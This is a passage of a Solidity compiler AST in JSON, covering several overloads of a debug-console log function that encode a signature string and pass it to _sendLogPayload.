memory"}],"id":20504,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"40447:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40447:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20514,"nodeType":"ExpressionStatement","src":"40447:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40368:3:14","parameters":{"id":20502,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20495,"mutability":"mutable","name":"p0","nameLocation":"40386:2:14","nodeType":"VariableDeclaration","scope":20516,"src":"40372:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20494,"name":"string","nodeType":"ElementaryTypeName","src":"40372:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20497,"mutability":"mutable","name":"p1","nameLocation":"40398:2:14","nodeType":"VariableDeclaration","scope":20516,"src":"40390:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20496,"name":"address","nodeType":"ElementaryTypeName","src":"40390:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20499,"mutability":"mutable","name":"p2","nameLocation":"40407:2:14","nodeType":"VariableDeclaration","scope":20516,"src":"40402:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20498,"name":"uint","nodeType":"ElementaryTypeName","src":"40402:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20501,"mutability":"mutable","name":"p3","nameLocation":"40419:2:14","nodeType":"VariableDeclaration","scope":20516,"src":"40411:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20500,"name":"address","nodeType":"ElementaryTypeName","src":"40411:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"40371:51:14"},"returnParameters":{"id":20503,"nodeType":"ParameterList","parameters":[],"src":"40437:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20539,"nodeType":"FunctionDefinition","src":"40552:192:14","nodes":[],"body":{"id":20538,"nodeType":"Block","src":"40636:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c75696e7429","id":20530,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40686:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8f624be9ea3983abac9c65ced8f562a492ebb84e6f74cd40f35387eff4d66349","typeString":"literal_string \"log(string,address,string,uint)\""},"value":"log(string,address,string,uint)"},{"id":20531,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20518,"src":"40721:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20532,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20520,"src":"40725:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20533,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20522,"src":"40729:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20534,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20524,"src":"40733:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8f624be9ea3983abac9c65ced8f562a492ebb84e6f74cd40f35387eff4d66349","typeString":"literal_string \"log(string,address,string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20528,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40662:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20529,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40666:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40662:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40662:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20527,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"40646:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40646:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20537,"nodeType":"ExpressionStatement","src":"40646:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40561:3:14","parameters":{"id":20525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20518,"mutability":"mutable","name":"p0","nameLocation":"40579:2:14","nodeType":"VariableDeclaration","scope":20539,"src":"40565:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20517,"name":"string","nodeType":"ElementaryTypeName","src":"40565:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20520,"mutability":"mutable","name":"p1","nameLocation":"40591:2:14","nodeType":"VariableDeclaration","scope":20539,"src":"40583:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20519,"name":"address","nodeType":"ElementaryTypeName","src":"40583:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20522,"mutability":"mutable","name":"p2","nameLocation":"40609:2:14","nodeType":"VariableDeclaration","scope":20539,"src":"40595:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20521,"name":"string","nodeType":"ElementaryTypeName","src":"40595:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20524,"mutability":"mutable","name":"p3","nameLocation":"40618:2:14","nodeType":"VariableDeclaration","scope":20539,"src":"40613:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20523,"name":"uint","nodeType":"ElementaryTypeName","src":"40613:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"40564:57:14"},"returnParameters":{"id":20526,"nodeType":"ParameterList","parameters":[],"src":"40636:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20562,"nodeType":"FunctionDefinition","src":"40750:203:14","nodes":[],"body":{"id":20561,"nodeType":"Block","src":"40843:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c737472696e6729","id":20553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40893:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_245986f22170901865e76245a48ee28ce0127ca357f6ad576a72190e1d358797","typeString":"literal_string \"log(string,address,string,string)\""},"value":"log(string,address,string,string)"},{"id":20554,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20541,"src":"40930:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20555,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20543,"src":"40934:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20556,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20545,"src":"40938:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20557,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20547,"src":"40942:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_245986f22170901865e76245a48ee28ce0127ca357f6ad576a72190e1d358797","typeString":"literal_string \"log(string,address,string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20551,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40869:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20552,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40873:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40869:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20558,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40869:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20550,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"40853:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40853:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20560,"nodeType":"ExpressionStatement","src":"40853:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40759:3:14","parameters":{"id":20548,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20541,"mutability":"mutable","name":"p0","nameLocation":"40777:2:14","nodeType":"VariableDeclaration","scope":20562,"src":"40763:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20540,"name":"string","nodeType":"ElementaryTypeName","src":"40763:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20543,"mutability":"mutable","name":"p1","nameLocation":"40789:2:14","nodeType":"VariableDeclaration","scope":20562,"src":"40781:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20542,"name":"address","nodeType":"ElementaryTypeName","src":"40781:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20545,"mutability":"mutable","name":"p2","nameLocation":"40807:2:14","nodeType":"VariableDeclaration","scope":20562,"src":"40793:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20544,"name":"string","nodeType":"ElementaryTypeName","src":"40793:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20547,"mutability":"mutable","name":"p3","nameLocation":"40825:2:14","nodeType":"VariableDeclaration","scope":20562,"src":"40811:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20546,"name":"string","nodeType":"ElementaryTypeName","src":"40811:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"40762:66:14"},"returnParameters":{"id":20549,"nodeType":"ParameterList","parameters":[],"src":"40843:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20585,"nodeType":"FunctionDefinition","src":"40959:192:14","nodes":[],"body":{"id":20584,"nodeType":"Block","src":"41043:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c626f6f6c29","id":20576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41093:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f15d28c15ddff15fba1c00f6a4975ae6af8b36c9b2a875bf59bd45049046154","typeString":"literal_string \"log(string,address,string,bool)\""},"value":"log(string,address,string,bool)"},{"id":20577,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20564,"src":"41128:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20578,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20566,"src":"41132:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20579,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20568,"src":"41136:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20580,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20570,"src":"41140:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f15d28c15ddff15fba1c00f6a4975ae6af8b36c9b2a875bf59bd45049046154","typeString":"literal_string \"log(string,address,string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20574,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41069:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20575,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41073:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41069:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41069:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20573,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"41053:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41053:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20583,"nodeType":"ExpressionStatement","src":"41053:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40968:3:14","parameters":{"id":20571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20564,"mutability":"mutable","name":"p0","nameLocation":"40986:2:14","nodeType":"VariableDeclaration","scope":20585,"src":"40972:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20563,"name":"string","nodeType":"ElementaryTypeName","src":"40972:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20566,"mutability":"mutable","name":"p1","nameLocation":"40998:2:14","nodeType":"VariableDeclaration","scope":20585,"src":"40990:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20565,"name":"address","nodeType":"ElementaryTypeName","src":"40990:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20568,"mutability":"mutable","name":"p2","nameLocation":"41016:2:14","nodeType":"VariableDeclaration","scope":20585,"src":"41002:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20567,"name":"string","nodeType":"ElementaryTypeName","src":"41002:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20570,"mutability":"mutable","name":"p3","nameLocation":"41025:2:14","nodeType":"VariableDeclaration","scope":20585,"src":"41020:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20569,"name":"bool","nodeType":"ElementaryTypeName","src":"41020:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"40971:57:14"},"returnParameters":{"id":20572,"nodeType":"ParameterList","parameters":[],"src":"41043:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20608,"nodeType":"FunctionDefinition","src":"41157:198:14","nodes":[],"body":{"id":20607,"nodeType":"Block","src":"41244:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e672c6164647265737329","id":20599,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41294:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_aabc9a311ab49789834b120d81155a7fee846a9f0d4f740bbeb970770190c82d","typeString":"literal_string \"log(string,address,string,address)\""},"value":"log(string,address,string,address)"},{"id":20600,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20587,"src":"41332:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20601,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20589,"src":"41336:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20602,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20591,"src":"41340:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20603,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20593,"src":"41344:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aabc9a311ab49789834b120d81155a7fee846a9f0d4f740bbeb970770190c82d","typeString":"literal_string \"log(string,address,string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20597,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41270:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20598,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41274:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41270:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41270:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20596,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"41254:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41254:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20606,"nodeType":"ExpressionStatement","src":"41254:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41166:3:14","parameters":{"id":20594,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20587,"mutability":"mutable","name":"p0","nameLocation":"41184:2:14","nodeType":"VariableDeclaration","scope":20608,"src":"41170:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20586,"name":"string","nodeType":"ElementaryTypeName","src":"41170:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20589,"mutability":"mutable","name":"p1","nameLocation":"41196:2:14","nodeType":"VariableDeclaration","scope":20608,"src":"41188:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20588,"name":"address","nodeType":"ElementaryTypeName","src":"41188:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20591,"mutability":"mutable","name":"p2","nameLocation":"41214:2:14","nodeType":"VariableDeclaration","scope":20608,"src":"41200:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20590,"name":"string","nodeType":"ElementaryTypeName","src":"41200:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20593,"mutability":"mutable","name":"p3","nameLocation":"41226:2:14","nodeType":"VariableDeclaration","scope":20608,"src":"41218:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20592,"name":"address","nodeType":"ElementaryTypeName","src":"41218:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"41169:60:14"},"returnParameters":{"id":20595,"nodeType":"ParameterList","parameters":[],"src":"41244:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20631,"nodeType":"FunctionDefinition","src":"41361:181:14","nodes":[],"body":{"id":20630,"nodeType":"Block","src":"41436:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c75696e7429","id":20622,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41486:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d1bb8ba57e795e9925065473f653a381a99be37bdcfbeaf49f38097f35af7f","typeString":"literal_string \"log(string,address,bool,uint)\""},"value":"log(string,address,bool,uint)"},{"id":20623,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20610,"src":"41519:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20624,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20612,"src":"41523:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20625,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20614,"src":"41527:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20626,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20616,"src":"41531:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d1bb8ba57e795e9925065473f653a381a99be37bdcfbeaf49f38097f35af7f","typeString":"literal_string \"log(string,address,bool,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20620,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41462:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20621,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41466:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41462:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41462:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20619,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"41446:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41446:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20629,"nodeType":"ExpressionStatement","src":"41446:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41370:3:14","parameters":{"id":20617,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20610,"mutability":"mutable","name":"p0","nameLocation":"41388:2:14","nodeType":"VariableDeclaration","scope":20631,"src":"41374:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20609,"name":"string","nodeType":"ElementaryTypeName","src":"41374:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20612,"mutability":"mutable","name":"p1","nameLocation":"41400:2:14","nodeType":"VariableDeclaration","scope":20631,"src":"41392:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20611,"name":"address","nodeType":"ElementaryTypeName","src":"41392:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20614,"mutability":"mutable","name":"p2","nameLocation":"41409:2:14","nodeType":"VariableDeclaration","scope":20631,"src":"41404:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20613,"name":"bool","nodeType":"ElementaryTypeName","src":"41404:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20616,"mutability":"mutable","name":"p3","nameLocation":"41418:2:14","nodeType":"VariableDeclaration","scope":20631,"src":"41413:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20615,"name":"uint","nodeType":"ElementaryTypeName","src":"41413:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"